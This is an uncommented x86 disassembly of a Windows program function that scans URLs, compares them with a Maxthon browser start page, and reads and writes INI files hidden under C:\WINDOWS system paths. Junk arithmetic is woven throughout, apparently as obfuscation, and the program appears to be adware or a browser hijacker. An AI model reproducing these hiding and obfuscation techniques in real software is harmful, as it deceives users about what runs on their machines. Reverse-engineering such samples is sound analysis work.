imul edx, edx, 0x1697
push 4
sub edx, ecx
lea ecx, [edx + eax - 0x1b7b]
push str.http
push ebx
mov dword [0x454e0c], ecx
call fcn.00428860
add esp, 0xc
test eax, eax
je 0x41471d
push 4
push str.HTTP
push ebx
call fcn.00428860
add esp, 0xc
test eax, eax
je 0x41471d
push 4
push str.www.
push ebx
call fcn.00428860
add esp, 0xc
test eax, eax
je 0x41471d
push 4
push str.WWW.
push ebx
call fcn.00428860
add esp, 0xc
test eax, eax
je 0x41471d
push str.http:
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x414580
push str.HTTP:
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x414580
push str.www.
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x414580
push str.WWW.
push ebx
call fcn.00428340
add esp, 8
test eax, eax
je 0x41471d
mov ecx, dword [str._r_____r_____n]
mov esi, dword [0x454e0c]
mov eax, 0x5f91b42b
imul esi, esi, 0x20a4
imul ecx
sub edx, ecx
mov ecx, dword [0x454e04]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xb40b40b5
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x454dfc]
imul edx, edx, 0x9f1
shr ecx, 0x1f
add ecx, edi
lea eax, [ecx + edx - 0x1b7b]
push str.http:
push ebx
mov dword [0x454e14], eax
call fcn.00428340
add esp, 8
test eax, eax
je 0x4146c9
push str.http:
jmp 0x414712
mov esi, dword [0x454df4]
imul ecx, ecx, 0x1a7f
mov eax, 0x950d22f9
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x454e08]
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
sar edx, 0xc
mov edi, dword [str._r_____r_____n]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, edi
push str.startup.exe
mov dword [0x454df4], esi
call fcn.00404920
add esp, 4
test eax, eax
jle 0x413bcd
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 5
je 0x41468a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41469e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x4146b2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 1
je 0x4152ef
jmp 0x4152e9
push str.HTTP:
push ebx
call fcn.00428340
add esp, 8
test eax, eax
je 0x4146e2
push str.HTTP:
jmp 0x414712
push str.www.
push ebx
call fcn.00428340
add esp, 8
test eax, eax
je 0x4146fb
push str.www.
jmp 0x414712
push str.WWW.
push ebx
call fcn.00428340
add esp, 8
test eax, eax
je 0x41471d
push str.WWW.
push ebx
call fcn.00428340
add esp, 8
mov ebx, eax
mov esi, dword [0x454e08]
mov eax, 0x9a96bd3d
imul esi
add edx, esi
mov esi, dword [0x454dfc]
mov ecx, dword [0x454e14]
sar edx, 0xc
imul ecx, ecx, 0x10a2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x1628
sub edx, eax
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
add edx, ecx
mov dword [ebp - 0x10e0], ecx
lea ecx, [eax + edx + 0x20a4]
mov edx, dword [str.fdfdadsafdfghfjkt]
mov dword [str._r_____r_____n], ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [0x445a08]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x445a04]
mov dword [ebp - 0x4c0], eax
mov ax, word [0x445a10]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c4], edx
mov edx, dword [0x445a0c]
mov word [ebp - 0x4b4], ax
xor eax, eax
mov dword [ebp - 0x4b8], edx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x1f5f3801
imul esi
mov eax, dword [0x454e0c]
sar edx, 0xa
imul eax, eax, 0x9f1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454e00]
imul edx, edx, 0x16c0
sub ecx, edx
mov edx, dword [ebp - 0x10e0]
add ecx, eax
sub ecx, edx
add ecx, 0x1697
mov edi, ebx
mov dword [0x454df8], ecx
lea eax, [edi + 1]
lea ecx, [ecx]
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x414820
sub edi, eax
mov dword [ebp - 0x10e0], edi
je 0x41496e
push str.http:__
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str.HTTP:__
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str.www.
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str.WWW.
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..COM
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..com
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..NET
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..net
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..ORG
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..org
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push 0x4459bc
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push 0x4459b8
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..htm
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x41494d
push str..HTM
push ebx
call fcn.00428340
add esp, 8
test eax, eax
je 0x414962
push ebx
lea ecx, [ebp - 0x4c4]
push 0x4459a0
push ecx
call fcn.00427bea
add esp, 0xc
mov ecx, dword [0x454df8]
mov esi, dword [0x454dfc]
mov edi, dword [0x454e08]
imul esi, esi, 0x1628
imul ecx, ecx, 0x9f1
mov eax, 0x9a96bd3d
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x454e14]
imul eax, eax, 0x10a2
push str.C:WINDOWS_system_sdax.txt
push 0x400
lea edx, [ebp - 0x8c4]
push edx
push 0x444dd9
add esi, eax
push str.rtgbh
lea ecx, [esi + ecx + 0x20a4]
push str.asdf
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x414b16
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4149e2
sub eax, edx
mov dword [ebp - 0x10e0], eax
je 0x414b16
mov edi, 0x44509c
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x414b16
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x414a8b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x414a8b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea esp, [esp]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x414a68
test al, al
je 0x414a64
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x414a68
add esi, 2
add edi, 2
test al, al
jne 0x414a40
xor eax, eax
jmp 0x414a6d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x414a8b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00428340
add esp, 8
test eax, eax
je 0x414a9f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00428340
add esp, 8
test eax, eax
je 0x414b16
mov ecx, dword [0x454dfc]
mov eax, 0x2d5481cb
imul ecx
mov ecx, dword [0x454e14]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov ecx, edx
mov edi, dword [0x454e0c]
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x454e08]
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, esi
sub ebx, eax
mov eax, 0x3de9fdd3
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, 0x1b7b
mov dword [0x454dfc], ebx
jmp 0x414bb2
push 0
call fcn.00427ccf
mov ecx, dword [0x454e00]
mov dword [0x567494], eax
mov eax, dword [0x567490]
add esp, 4
inc eax
mov dword [0x567490], eax
mov eax, 0x1f5f3801
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x454e14]
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0x7b214ec3
imul ecx
mov eax, dword [ebp - 0x10d0]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x16c0]
mov dword [0x454e04], edx
mov edx, dword [ebp - 0x1104]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x9c]
mov ecx, dword [0x454e08]
mov edi, dword [0x454e0c]
mov esi, dword [0x454df4]
imul edi, edi, 0x1a7f
mov eax, 0x950d22f9
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, dword [ebp - 0x10d4]
sub esi, edi
mov edi, dword [0x454e10]
sub esi, eax
mov eax, 0x3de9fdd3
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test ebx, ebx
mov dword [0x454df4], esi
je 0x4150e1
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d4], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x414c30
sub eax, dword [ebp - 0x10d4]
mov dword [ebp - 0x10d4], eax
je 0x4150e1
mov eax, 0xb40b40b5
imul edi, edi, 0x1b7b
imul ecx
add edx, ecx
mov ecx, dword [0x454e04]
sar edx, 0xc
imul ecx, ecx, 0x108a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454df8]
imul edx, edx, 0x9f1
sub edi, eax
add edi, ecx
push 0xffffffffffffffff
lea eax, [edi + edx + 0x20a4]
push 0x568610
lea ecx, [ebp - 0x1138]
mov dword [0x454e00], eax
call fcn.004070b0
mov ecx, dword [0x454df8]
mov eax, 0x2d5481cb
imul ecx
mov eax, dword [0x454e04]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x1697
sub edx, ecx
imul eax, eax, 0x8e6
lea edi, [edx + eax - 0x1b7b]
mov byte [ebp - 4], 7
mov dword [0x454e0c], edi
mov esi, 0x567e08
mov eax, ebx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x414d08
test cl, cl
je 0x414d04
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x414d08
add eax, 2
add esi, 2
test cl, cl
jne 0x414ce4
xor eax, eax
jmp 0x414d0d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4150c0
mov ecx, dword [0x454dfc]
mov esi, dword [0x454e00]
mov eax, 0x1f5f3801
imul ecx
mov ecx, esi
imul ecx, ecx, 0x16c0
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x454e14]
mov edx, ecx
imul edx, edx, 0x10a2
sub eax, edx
imul edi, edi, 0x9f1
lea eax, [eax + edi + 0x1697]
mov dword [0x454df8], eax
mov eax, ebx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x414d63
sub eax, edi
cmp eax, 0x800
jae 0x414d8c
mov ecx, ebx
mov edx, 0x567e08
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x414d80
jmp 0x414dff
mov eax, 0x1f5f3801
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x7b214ec3
imul dword [0x454e04]
sub edi, esi
sub edi, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x16c0]
push 0x7ff
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x567e08
push 0x567e08
mov dword [0x454e04], edx
rep stosd dword es:[edi], eax
call fcn.00428730
add esp, 0xc
mov esi, dword [0x454e08]
mov eax, dword [0x454df4]
imul esi, esi, 0x20a4
mov ecx, dword [0x454e10]
imul eax, eax, 0x16c0
add esi, eax
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, dword [0x454df8]
add esi, 0x625
mov eax, 0x567508
mov dword [0x454e10], esi
lea edx, [eax + 1]
jmp 0x414e50
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414e50
sub eax, edx
cmp eax, 5
jbe 0x4150c0
push str.ConfigL6
push ebx
call fcn.004178e0
add esp, 8
test eax, eax
jne 0x4150c0
mov ecx, dword [str._r_____r_____n]
mov esi, dword [0x454e0c]
mov eax, 0x5f91b42b
imul esi, esi, 0x20a4
imul ecx
sub edx, ecx
mov ecx, dword [0x454e04]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xb40b40b5
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x454dfc]
imul edx, edx, 0x9f1
shr ecx, 0x1f
add ecx, edi
lea eax, [ecx + edx - 0x1b7b]
push 0x132b600
mov dword [0x454e14], eax
call sym.CallDll.exe_int___cdecl_process3_int_
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
xor edi, edi
lea esp, [esp]
cmp edi, 0x64
jge 0x414f64
mov ecx, dword [0x454e08]
mov eax, 0x9a96bd3d
imul ecx
mov eax, dword [0x454e14]
add edx, ecx
imul eax, eax, 0x10a2
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454dfc]
imul edx, edx, 0x1628
sub edx, ecx
mov ecx, dword [0x454df8]
imul ecx, ecx, 0x9f1
add edx, eax
lea edx, [edx + ecx + 0x20a4]
push 0x64
mov dword [str._r_____r_____n], edx
call esi
mov eax, 0x567508
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414f50
sub eax, edx
mov dword [ebp - 0x10d4], eax
je 0x414f64
inc edi
jmp 0x414ef0
mov ecx, dword [0x454dfc]
mov eax, 0x1f5f3801
imul ecx
mov ecx, dword [0x454e00]
imul ecx, ecx, 0x16c0
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e14]
sub eax, ecx
imul edx, edx, 0x10a2
mov ecx, dword [0x454e0c]
imul ecx, ecx, 0x9f1
push str.C:WINDOWS_system32driversetc_service5.ini
sub eax, edx
push 0x800
lea edx, [eax + ecx + 0x1697]
lea eax, [ebp - 0x10c4]
push eax
push 0x444dd9
push str.ConfigL5
push str.GameType1
mov dword [0x454df8], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x454e08]
mov esi, dword [0x454e10]
mov eax, 0xb40b40b5
imul esi, esi, 0x1b7b
imul ecx
mov eax, dword [0x454df8]
add edx, ecx
imul eax, eax, 0x9f1
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x108a
sub esi, ecx
add esi, edx
lea edx, [ebp - 0x10c4]
lea ecx, [esi + eax + 0x20a4]
push edx
mov dword [0x454e00], ecx
call fcn.00427cca
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x444d98
push eax
call fcn.00427bea
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x454df8]
mov esi, dword [0x454e00]
mov edx, dword [0x454dfc]
imul esi, esi, 0x1b7c
imul edx, edx, 0x1a7f
mov eax, ecx
imul eax, eax, 0x1988
add esi, edx
sub esi, eax
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x454e08], esi
mov esi, dword [0x567500]
inc esi
push 0
mov dword [0x567500], esi
call fcn.00427ccf
add esp, 4
mov dword [0x567504], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00407120
mov ecx, dword [0x454e08]
mov esi, dword [0x454df4]
mov edi, dword [0x454e10]
mov eax, 0x5c6f35cd
imul ecx, ecx, 0x20a4
imul esi, esi, 0x16c0
imul edi
mov edi, dword [0x454df8]
sar edx, 0xb
add ecx, esi
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add ecx, 0x625
push ecx
mov dword [0x454e10], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10d4], esp
je 0x415137
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x5671a0
call fcn.00408590
mov ecx, dword [0x454df4]
mov eax, 0x950d22f9
imul ecx
add edx, ecx
mov ecx, dword [0x454e0c]
sar edx, 0xc
imul ecx, ecx, 0x1a7f
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x454e08]
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
mov ecx, dword [0x454e10]
sar edx, 0xc
mov edi, dword [str._r_____r_____n]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10c8]
sub esi, ecx
push 0
add esi, edi
push edx
mov dword [0x454df4], esi
call fcn.0041b1d0
mov ecx, dword [0x454dfc]
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x5c6f35cd
imul dword [0x454e14]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x454e08]
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e0c]
sub esi, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esp, 8
sub esi, 0x1b7b
mov dword [0x454dfc], esi
mov edx, dword [0x454e00]
mov esi, dword [0x454e14]
mov eax, 0x1f5f3801
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1f5f3801
imul esi
imul esi, esi, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
mov ebx, eax
mov eax, 0x7b214ec3
imul edx
sar edx, 0xb
sub ebx, edi
sub ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
lea edx, [eax + ebx + 0x16c0]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov dword [0x454e04], edx
mov byte [ebp - 4], 5
je 0x4152a7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x454e08]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x4152c1
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x454e08]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x4152db
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x454e08]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 1
je 0x4152f5
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x454e08]
mov ebx, dword [ebp - 0x10f8]
mov edi, dword [0x454e14]
mov esi, dword [0x454dfc]
inc ebx
jmp 0x413594
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 0
je 0x415321
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, 0x2d5481cb
imul dword [0x454df8]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x1697
sub eax, ecx
mov ecx, dword [0x454e04]
imul ecx, ecx, 0x8e6
lea edx, [eax + ecx - 0x1b7b]
mov eax, dword [ebp - 0x10e8]
mov dword [0x454e0c], edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.004274c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret